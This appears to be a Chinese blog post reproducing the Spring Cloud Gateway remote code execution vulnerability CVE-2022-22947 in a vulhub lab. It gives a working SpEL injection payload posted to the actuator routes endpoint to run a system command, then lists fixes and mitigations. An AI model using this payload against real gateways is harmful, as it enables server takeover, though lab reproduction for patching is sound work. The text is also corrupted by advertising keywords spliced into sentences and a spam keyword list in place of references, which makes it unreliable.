定制软件开发Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)

一、漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的,定制软件开发它旨在为微服务架构提定制软件开发供一种简单、有效、统一的 API 定制软件开发路由管理方式。

3月1日,发布安全公告,Spring Cloud Gateway中存在远程代码执行漏洞(CVE-2022-22947),该漏洞的CVSSv3评分为10.0。当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行任意代码。

二、影响版本

Spring Cloud Gateway 3.1.0

Spring Cloud Gateway 3.0.0 - 3.0.6

Spring Cloud Gateway 其它不支持的、已不再更新的版本

三、环境搭建

从vulhub下载漏洞库后,找到CVE-2022-22947直接启动

docker-compose up -d

四、漏洞复现

1、首先,修改GET /actuator请求,确定actuator端口已经开启

2、修改get请求,获取路由信息GET /actuator/gateway/routes/:

当前只有路由index,该路有默认跳转到uri:http://example.com:80

2、然后,构造一个post请求包,POST /actuator/gateway/routes/test 添加一个包含恶意SpEL表达式的路由:

{

"id": "test",

"filters": [

{

"name": "AddResponseHeader",

"args": {

"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",

"name": "cmd"

}

}

],

"uri": "http://example.com:80",

"order": 0

}

3、刷新路由,POST /actuator/gateway/refresh

2、获取路由信息GET /actuator/gateway/routes/,新增路由test成功:

3、构造get请求,查看当前路由信息,GET /actuator/gateway/routes/test,检索结果命令执行结果,当前用户为root :

最后,删除我们前面构造的路由,DELETE /actuator/gateway/routes/test

五、解决方法

1、升级更新到以下版本:

Spring Cloud Gateway >= 3.1.1

Spring Cloud Gateway >= 3.0.7

2、缓解措施:

1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。

2.如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security

参考链接:

网站建设定制开发 软件系统开发定制 定制软件开发 软件开发定制 定制app开发 app开发定制 app开发定制公司 电商商城定制开发 定制小程序开发 定制开发小程序 客户管理系统开发定制 定制网站 定制开发 crm开发定制 开发公司 小程序开发定制 定制软件 收款定制开发 企业网站定制开发 定制化开发 android系统定制开发 定制小程序开发费用 定制设计 专注app软件定制开发 软件开发定制定制 知名网站建设定制 软件定制开发供应商 应用系统定制开发 软件系统定制开发 企业管理系统定制开发 系统定制开发